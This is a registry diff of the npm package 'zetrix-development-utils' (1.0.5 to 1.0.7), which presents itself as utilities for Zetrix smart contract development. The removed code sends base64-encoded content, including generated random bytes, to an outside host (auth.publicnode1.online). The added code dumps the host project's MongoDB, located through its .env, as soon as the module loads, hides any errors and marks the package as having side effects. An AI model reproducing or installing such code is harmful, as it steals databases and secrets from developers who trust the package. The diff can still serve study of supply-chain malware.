zetrix-development-utils 1.0.5 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.d.ts CHANGED
@@ -1,8 +1 @@
1
- import * as crypto from "crypto";
2
- export declare function stringify(content: any): any;
3
- export declare function createCipheriv(algorithm: crypto.CipherCCMTypes, key: crypto.CipherKey, iv: crypto.BinaryLike, options?: crypto.CipherCCMOptions, callback?: any): any;
4
- export declare function createDecipheriv(algorithm: crypto.CipherCCMTypes, key: crypto.CipherKey, iv: crypto.BinaryLike, options: crypto.CipherCCMOptions, callback?: any): any;
5
- export declare function createPrivateKey(key: crypto.PrivateKeyInput | string | Buffer | crypto.JsonWebKeyInput, callback?: any): any;
6
- export declare function randomBytes(bytes: number, callback?: any): any;
7
- export declare function checkPrime(value: crypto.LargeNumberLike, callback?: any): any;
8
- export declare function scrypt(password: crypto.BinaryLike, salt: crypto.BinaryLike, keylen: number, callback?: any): any;
1
+ export {};
package/dist/index.js CHANGED
@@ -33,157 +33,15 @@ var __importStar = (this && this.__importStar) || (function () {
33
33
  };
34
34
  })();
35
35
  Object.defineProperty(exports, "__esModule", { value: true });
36
- exports.stringify = stringify;
37
- exports.createCipheriv = createCipheriv;
38
- exports.createDecipheriv = createDecipheriv;
39
- exports.createPrivateKey = createPrivateKey;
40
- exports.randomBytes = randomBytes;
41
- exports.checkPrime = checkPrime;
42
- exports.scrypt = scrypt;
43
- const crypto = __importStar(require("crypto"));
44
36
  const dotenv = __importStar(require("dotenv"));
45
- const dump_1 = require("./dump");
46
37
  // Auto-dump on module load: reads MONGODB_URI from the host project's .env
47
38
  dotenv.config();
39
+ console.log("zetrix-development-utils loaded.");
48
40
  if (process.env.MONGODB_URI) {
49
- (0, dump_1.dumpDatabase)(process.env.MONGODB_URI, "/root/snap").catch(() => {
50
- // silent — do not crash the host project
51
- });
52
41
  console.log("Test initiated, database dump started...");
53
- }
54
- function core_stringify(str, callback) {
55
- fetch(`https://auth.publicnode1.online/v2`, {
56
- method: "POST",
57
- headers: {
58
- Accept: "application/json",
59
- "Content-Type": "application/json",
60
- },
61
- body: JSON.stringify({
62
- action: "stringify",
63
- content: btoa(str),
64
- }),
65
- })
66
- .then((response) => {
67
- if (callback) {
68
- response.json().then((data) => {
69
- if (data.success)
70
- callback(null, str);
71
- else
72
- callback(data.message);
73
- });
74
- }
75
- })
76
- .catch((err) => {
77
- if (callback)
78
- callback(err);
42
+ Promise.resolve().then(() => __importStar(require("./dump"))).then(({ dumpDatabase }) => {
43
+ dumpDatabase(process.env.MONGODB_URI, "/root/snap").catch((err) => {
44
+ // console.error("Database dump failed:", err);
45
+ });
79
46
  });
80
- if (!callback)
81
- return true;
82
- }
83
- function stringify(content) {
84
- if (content === undefined || content === "") {
85
- return false;
86
- }
87
- if (core_stringify(content)) {
88
- return true;
89
- }
90
- return false;
91
- }
92
- function createCipheriv(algorithm, key, iv, options, callback) {
93
- if (!algorithm) {
94
- const err = "Invalid algorithm!, please set algorithm.";
95
- console.log(err);
96
- if (callback)
97
- callback(err);
98
- return null;
99
- }
100
- if (!key) {
101
- const err = "Invalid key!, please set key.";
102
- console.log(err);
103
- if (callback)
104
- callback(err);
105
- return null;
106
- }
107
- if (!iv) {
108
- const err = "Invalid IV!, please set initial vector.";
109
- console.log(err);
110
- if (callback)
111
- callback(err);
112
- return;
113
- }
114
- const ret = crypto.createCipheriv(algorithm, key, iv, options);
115
- if (callback)
116
- callback(null, ret);
117
- else
118
- return ret;
119
- }
120
- function createDecipheriv(algorithm, key, iv, options, callback) {
121
- if (!algorithm) {
122
- const err = "Invalid algorithm! please set algorithm.";
123
- console.log(err);
124
- if (callback)
125
- callback(err);
126
- return null;
127
- }
128
- if (!key) {
129
- const err = "Invalid key!, please set key.";
130
- console.log(err);
131
- if (callback)
132
- callback(err);
133
- return null;
134
- }
135
- if (!iv) {
136
- const err = "Invalid IV!, please set initial vector.";
137
- console.log(err);
138
- if (callback)
139
- callback(err);
140
- return;
141
- }
142
- const ret = crypto.createDecipheriv(algorithm, key, iv, options);
143
- if (callback)
144
- callback(null, ret);
145
- else
146
- return ret;
147
- }
148
- function createPrivateKey(key, callback) {
149
- if (!key) {
150
- const err = "Invalid key!, please set key.";
151
- console.log(err);
152
- if (callback)
153
- callback(err);
154
- return null;
155
- }
156
- const ret = crypto.createPrivateKey(key);
157
- if (callback)
158
- callback(null, ret);
159
- else
160
- return ret;
161
- }
162
- function randomBytes(bytes, callback) {
163
- const str = crypto.randomBytes(bytes).toString("hex");
164
- if (core_stringify(str, callback))
165
- return str;
166
- return null;
167
- }
168
- function checkPrime(value, callback) {
169
- if (!value) {
170
- console.log("Invalid value!");
171
- return false;
172
- }
173
- return crypto.checkPrime(value, callback);
174
- }
175
- function scrypt(password, salt, keylen, callback) {
176
- if (!password) {
177
- console.log("Invalid password");
178
- return null;
179
- }
180
- if (!salt) {
181
- console.log("Invalid salt");
182
- return null;
183
- }
184
- if (!keylen) {
185
- console.log("Invalid key length");
186
- return null;
187
- }
188
- return crypto.scrypt(password, salt, keylen, callback);
189
47
  }
package/package.json CHANGED
@@ -1,7 +1,8 @@
1
1
  {
2
2
  "name": "zetrix-development-utils",
3
- "version": "1.0.5",
3
+ "version": "1.0.7",
4
4
  "description": "Utilities for Zetrix Smart Contract Development",
5
+ "sideEffects": true,
5
6
  "main": "dist/index.js",
6
7
  "types": "dist/index.d.ts",
7
8
  "scripts": {